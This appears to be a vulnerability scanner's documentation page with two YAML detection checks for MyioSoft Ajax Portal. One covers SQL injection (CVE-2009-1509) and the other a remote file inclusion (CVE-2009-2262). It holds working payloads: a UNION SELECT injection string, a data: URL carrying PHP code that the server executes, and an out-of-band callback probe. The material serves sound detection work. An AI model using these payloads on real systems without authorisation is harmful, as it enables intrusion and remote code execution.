Ajax Portal — 2 vulnerability checks
noctis ships 2 vulnerability checks for Ajax Portal, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
MyioSoft Ajax Portal <= 3.0 SQL Injection (ajaxp_backend page parameter)
| CVE | CVE-2009-1509 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/ajaxportal/CVE-2009-1509.yaml |
Detects CVE-2009-1509 by sending a UNION SELECT payload to the ajaxp_backend endpoint and confirming the reflected SQL-Injection-Test marker in the HTTP response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /ajaxp_backend.php?page=-1+union+select+1,0x53514c2d496e6a656374696f6e2d54657374,3,4,… - Checks
resp.bannerforSQL-Injection-Test→ finding QoD 75: MyioSoft Ajax Portal SQLi confirmed — UNION SELECT payload on the ajaxp_backend page parameter reflected the SQL-Injection-Test marker at ……
References:
Feed source — tests/vulnerabilities/ajaxportal/CVE-2009-1509.yaml
# MyioSoft Ajax Portal <= 3.0 — SQL Injection (CVE-2009-1509)
#
# MyioSoft Ajax Portal fails to sanitize the `page` parameter of the
# ajaxp_backend endpoint before using it in an SQL query. An unauthenticated
# attacker injects a UNION SELECT that reflects a marker string drawn from
# the database, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2009/MyioSoft_ajax_portal_34338.nasl
# (GPL-2.0-only). Payload/marker preserved faithfully from the source plugin.
#
# The payload carries URL-encoded/`+`-separated tokens that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the reflected marker is matched on resp.banner.
uid: 71d1bea5-1d9d-4164-a93a-35727c7434c5
name: "MyioSoft Ajax Portal <= 3.0 SQL Injection (ajaxp_backend page parameter)"
description: |
Detects CVE-2009-1509 by sending a UNION SELECT payload to the ajaxp_backend endpoint
and confirming the reflected SQL-Injection-Test marker in the HTTP response.
cves: [CVE-2009-1509]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [ajaxportal, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1509"
- "OpenVAS/Greenbone NASL 2009/MyioSoft_ajax_portal_34338.nasl (GPL-2.0-only)"
steps:
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /ajaxp_backend.php?page=-1+union+select+1,0x53514c2d496e6a656374696f6e2d54657374,3,4,5,6,7-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
- id: confirm-sqli
action: match
source: resp.banner
pattern: "SQL-Injection-Test"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "MyioSoft Ajax Portal SQLi confirmed — UNION SELECT payload on the ajaxp_backend page parameter reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}"MyioSoft AjaxPortal install/di.php pathtoserverdata Remote File Inclusion
| CVE | CVE-2009-2262 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/ajaxportal/CVE-2009-2262.yaml |
Tests MyioSoft AjaxPortal for the unauthenticated file inclusion in the installer script install/di.php, which includes the pathtoserverdata parameter followed by "serverdata.php". The feed requests install/di.php under the usual install folders with pathtoserverdata set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, pathtoserverdata is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random value followed by "serverdata.php" shows that the parameter reaches include() unchecked. The snippet only prints a hash and writes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/install/di.php?pathtoserverdata={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: MyioSoft AjaxPortal install/di.php pathtoserverdata Remote File Inclusion (CVE-2009-2262) - HTTP(S) request
GET {{dir}}/install/di.php?pathtoserverdata={{probe.marker}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/install/di.php?pathtoserverdata={{oob_url}}%3F - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: MyioSoft AjaxPortal install/di.php pathtoserverdata Remote File Inclusion (CVE-2009-2262)
- Checks
warn_prooffor^noctis[0-9a-z]+serverdata\.php$→ finding QoD 75: MyioSoft AjaxPortal install/di.php pathtoserverdata File Inclusion (CVE-2009-2262)
References:
Feed source — tests/vulnerabilities/ajaxportal/CVE-2009-2262.yaml
# MyioSoft AjaxPortal install/di.php pathtoserverdata remote file inclusion — CVE-2009-2262
#
# AjaxPortal 3.0 (MyioSoft, PHP, register_globals) ships an installer whose
# install/di.php runs, per the June 2009 advisory (bugtraq / Packet Storm
# 78719, "AjaxPortal v3.0 Remote File Inclusion Vulnerability"):
#
# include $pathtoserverdata."serverdata.php";
#
# with no separator, so di.php?pathtoserverdata=<x> includes "<x>serverdata.php"
# before any check. The vendor never published a fixed release and the 3.0
# zip (myiosoft.com) is no longer downloadable; the sink line comes from the
# advisory and was reproduced under real PHP 8.3 (register_globals emulated
# with extract($_GET), allow_url_include=1) for the data: and warning branches.
#
# Detection, per usual install folder (the web root, /ajaxportal, /AjaxPortal,
# /portal):
# 1. In-band code execution (QoD 97): pathtoserverdata is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. The appended
# "serverdata.php" lands after exit, so the code runs unchanged, and the
# reply carries md5 of the product, a value the request never contains.
# If the wrapper is refused, PHP's warning quotes the code text, not the
# md5. No quotes in the code (magic_quotes_gpc-safe), nothing is written.
# 2. OOB (QoD 97, only when OOB is enabled): the noctis callback URL followed
# by "?", so "serverdata.php" lands in the query string; a fetch of the
# URL is the remote inclusion (also covers servers hiding PHP output).
# 3. Fallback (QoD 75): a random name; the reply must carry PHP's include() /
# main() / "Failed opening … for inclusion" warning naming
# "<random>serverdata.php": the value went, concatenated, into include().
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_ajaxportal_file_inc_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800817, GPL-2.0-only). The source plugin only
# checks that install/index.php shows "MyioSoft EasyInstaller" and that a
# separately detected version equals 3.0; it sends no payload. This feed
# proves the inclusion instead (no FP on a 3.0 install with register_globals
# Off, where di.php cannot be exploited; no FN when the version is unknown).
uid: f3b24107-48f8-43a2-a2ad-09e17c4401b8
name: "MyioSoft AjaxPortal install/di.php pathtoserverdata Remote File Inclusion (CVE-2009-2262)"
description: |
Tests MyioSoft AjaxPortal for the unauthenticated file inclusion in the
installer script install/di.php, which includes the pathtoserverdata
parameter followed by "serverdata.php". The feed requests install/di.php
under the usual install folders with pathtoserverdata set to a data: URL
carrying a small PHP snippet that prints the md5 of the product of two
random numbers; that md5 in the reply confirms that the server ran code
supplied in the request. When OOB is enabled, pathtoserverdata is also set
to the scanner's callback URL, and a fetch of that URL confirms the remote
inclusion even when PHP output and errors are hidden. Otherwise, a PHP
include warning naming a random value followed by "serverdata.php" shows
that the parameter reaches include() unchecked. The snippet only prints a
hash and writes nothing on the server.
cves: [CVE-2009-2262]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [ajaxportal, myiosoft, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-2262"
- "https://packetstormsecurity.com/files/78719/"
# OpenVAS/Greenbone NASL 2009/gb_ajaxportal_file_inc_vuln.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/ajaxportal", "/AjaxPortal", "/portal"]
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/install/di.php?pathtoserverdata={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "MyioSoft AjaxPortal install/di.php pathtoserverdata Remote File Inclusion (CVE-2009-2262)"
description: "An unauthenticated request to install/di.php with pathtoserverdata set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. di.php includes pathtoserverdata followed by serverdata.php without any check, so an attacker can run any PHP code on the server."
remediation: "AjaxPortal 3.0 has no fixed release: remove the install/ folder from the server once the portal is installed, or block access to it. Also disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/install/di.php?pathtoserverdata=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 3. Random folder name — include() warning naming it (fallback) ───────
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/install/di.php?pathtoserverdata={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
# Also when the code probe got no reply (status 0, e.g. a filter dropping
# "<?php"): this plain request may still get through.
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
- id: warn-check
action: script
code: |
let f = probe.marker + "serverdata.php";
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let hit = b.contains("Failed opening '" + f + "' for inclusion");
for w in ["include(", "include_once(", "require(", "require_once(", "main("] {
if b.contains(w + f + ")") { hit = true; }
}
hit
condition: "warn_found == false"
store_as: warn_hit
- id: warn-dir
action: script
code: "dir"
condition: "warn_found == false && warn_hit"
store_as: warn_dir
- id: warn-proof
action: script
code: 'probe.marker + "serverdata.php"'
condition: "warn_found == false && warn_hit"
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: "warn_hit"
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
# Sent to every folder not answering 404 (also when the code probe got no
# reply, e.g. a filter dropping it), since a server hiding PHP errors
# gives no in-band sign. "%3F" makes the appended path a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/install/di.php?pathtoserverdata={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "MyioSoft AjaxPortal install/di.php pathtoserverdata Remote File Inclusion (CVE-2009-2262)"
description: "An unauthenticated request to install/di.php with pathtoserverdata set to the noctis callback URL made the server fetch that URL: di.php includes pathtoserverdata without any check, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "AjaxPortal 3.0 has no fixed release: remove the install/ folder from the server once the portal is installed, or block access to it. Also disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/install/di.php?pathtoserverdata=<OOB URL>? (remote file inclusion)"
stop: true
# ── Fallback finding: include() warning naming the random folder ─────────
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-z]+serverdata\\.php$"
condition: 'warn_proof != ""'
on_match:
finding:
title: "MyioSoft AjaxPortal install/di.php pathtoserverdata File Inclusion (CVE-2009-2262)"
description: "An unauthenticated request to install/di.php with pathtoserverdata set to a random name returned a PHP include warning for that name followed by serverdata.php: di.php passes pathtoserverdata to include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
remediation: "AjaxPortal 3.0 has no fixed release: remove the install/ folder from the server once the portal is installed, or block access to it. Also disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/install/di.php?pathtoserverdata={{probe.marker}} returned a PHP include warning for {{warn_proof}}"
stop: true